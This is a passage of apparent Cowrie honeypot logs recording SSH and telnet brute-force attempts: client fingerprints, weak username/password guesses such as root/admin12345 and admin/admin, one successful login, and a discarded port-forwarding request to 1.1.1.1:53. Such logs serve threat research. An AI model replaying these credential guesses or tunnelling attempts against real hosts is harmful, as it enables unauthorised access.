s192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:54:25.615039Z","src_ip":"159.203.92.129","session":"87ae077d5eff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anzheng","password":"anzheng123","message":"login attempt [anzheng/anzheng123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:54:25.625967Z","src_ip":"159.203.92.129","session":"87ae077d5eff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:54:26.631602Z","src_ip":"159.203.92.129","session":"87ae077d5eff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":43456,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba2090b01696","protocol":"telnet","message":"New connection: 185.26.126.47:43456 (159.203.135.109:23) [session: ba2090b01696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:55:10.236789Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50040,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d49d51c377c","protocol":"ssh","message":"New connection: 159.203.92.129:50040 (159.203.135.109:22) [session: 3d49d51c377c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:55:12.585231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:55:12.589919Z","src_ip":"159.203.92.129","session":"3d49d51c377c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:55:12.594150Z","src_ip":"159.203.92.129","session":"3d49d51c377c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anzhenwei","password":"123456","message":"login attempt [anzhenwei/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:55:12.607972Z","src_ip":"159.203.92.129","session":"3d49d51c377c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:55:13.613909Z","src_ip":"159.203.92.129","session":"3d49d51c377c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55474,"dst_ip":"159.203.135.109","dst_port":23,"session":"0555d8aeccb4","protocol":"telnet","message":"New connection: 185.26.126.47:55474 (159.203.135.109:23) [session: 0555d8aeccb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:55:26.574515Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56352,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fde39658a78","protocol":"telnet","message":"New connection: 185.26.126.47:56352 (159.203.135.109:23) [session: 9fde39658a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:55:27.609319Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39558,"dst_ip":"159.203.135.109","dst_port":22,"session":"b82403d593f1","protocol":"ssh","message":"New connection: 159.203.92.129:39558 (159.203.135.109:22) [session: b82403d593f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:55:57.754704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:55:57.759691Z","src_ip":"159.203.92.129","session":"b82403d593f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:55:57.764411Z","src_ip":"159.203.92.129","session":"b82403d593f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anzhenwei","password":"anzhenwei","message":"login attempt [anzhenwei/anzhenwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:55:57.774498Z","src_ip":"159.203.92.129","session":"b82403d593f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:55:58.780387Z","src_ip":"159.203.92.129","session":"b82403d593f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.59070897102356,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:05.827400Z","src_ip":"185.26.126.47","session":"ba2090b01696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.3241548538208,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:05.898577Z","src_ip":"185.26.126.47","session":"0555d8aeccb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.124.109.76","src_port":55178,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a11f9e8ef5d","protocol":"telnet","message":"New connection: 77.124.109.76:55178 (10.17.0.5:23) [session: 2a11f9e8ef5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:06.210402Z"}
{"eventid":"cowrie.session.closed","duration":41.28897309303284,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:08.898175Z","src_ip":"185.26.126.47","session":"9fde39658a78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.308812618255615,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:18.519104Z","src_ip":"77.124.109.76","session":"2a11f9e8ef5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37136,"dst_ip":"159.203.135.109","dst_port":22,"session":"58b57c52f04f","protocol":"ssh","message":"New connection: 159.203.92.129:37136 (159.203.135.109:22) [session: 58b57c52f04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:43.275060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:43.279721Z","src_ip":"159.203.92.129","session":"58b57c52f04f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:43.283901Z","src_ip":"159.203.92.129","session":"58b57c52f04f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoe","password":"123456","message":"login attempt [aoe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:43.294418Z","src_ip":"159.203.92.129","session":"58b57c52f04f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:44.300399Z","src_ip":"159.203.92.129","session":"58b57c52f04f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":57924,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a245b944ada","protocol":"ssh","message":"New connection: 210.79.142.221:57924 (10.17.0.5:22) [session: 7a245b944ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:51.716033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:51.721154Z","src_ip":"210.79.142.221","session":"7a245b944ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:51.962924Z","src_ip":"210.79.142.221","session":"7a245b944ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12345","message":"login attempt [root/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:52.962302Z","src_ip":"210.79.142.221","session":"7a245b944ada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:56:54.206453Z","src_ip":"210.79.142.221","session":"7a245b944ada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46948,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc49ab07cf27","protocol":"ssh","message":"New connection: 159.203.92.129:46948 (159.203.135.109:22) [session: fc49ab07cf27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:57:28.228975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:57:28.233400Z","src_ip":"159.203.92.129","session":"fc49ab07cf27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:57:28.237768Z","src_ip":"159.203.92.129","session":"fc49ab07cf27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aoe","password":"aoe123","message":"login attempt [aoe/aoe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:57:28.250332Z","src_ip":"159.203.92.129","session":"fc49ab07cf27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:57:29.256857Z","src_ip":"159.203.92.129","session":"fc49ab07cf27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59134,"dst_ip":"10.17.0.5","dst_port":22,"session":"6db4363121da","protocol":"ssh","message":"New connection: 87.251.64.176:59134 (10.17.0.5:22) [session: 6db4363121da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:57:40.011924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:57:40.016750Z","src_ip":"87.251.64.176","session":"6db4363121da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:57:40.113333Z","src_ip":"87.251.64.176","session":"6db4363121da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:57:40.402148Z","src_ip":"87.251.64.176","session":"6db4363121da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:57:40.501245Z","session":"6db4363121da","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:57:40.598771Z","src_ip":"87.251.64.176","session":"6db4363121da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:57:40.697832Z","src_ip":"87.251.64.176","session":"6db4363121da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":44352,"dst_ip":"159.203.135.109","dst_port":23,"session":"1257e7d6f81a","protocol":"telnet","message":"New connection: 185.26.126.47:44352 (159.203.135.109:23) [session: 1257e7d6f81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:57:42.416253Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50410,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fbcd31a471c","protocol":"ssh","message":"New connection: 159.203.92.129:50410 (159.203.135.109:22) [session: 4fbcd31a471c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:58:13.181755Z"}
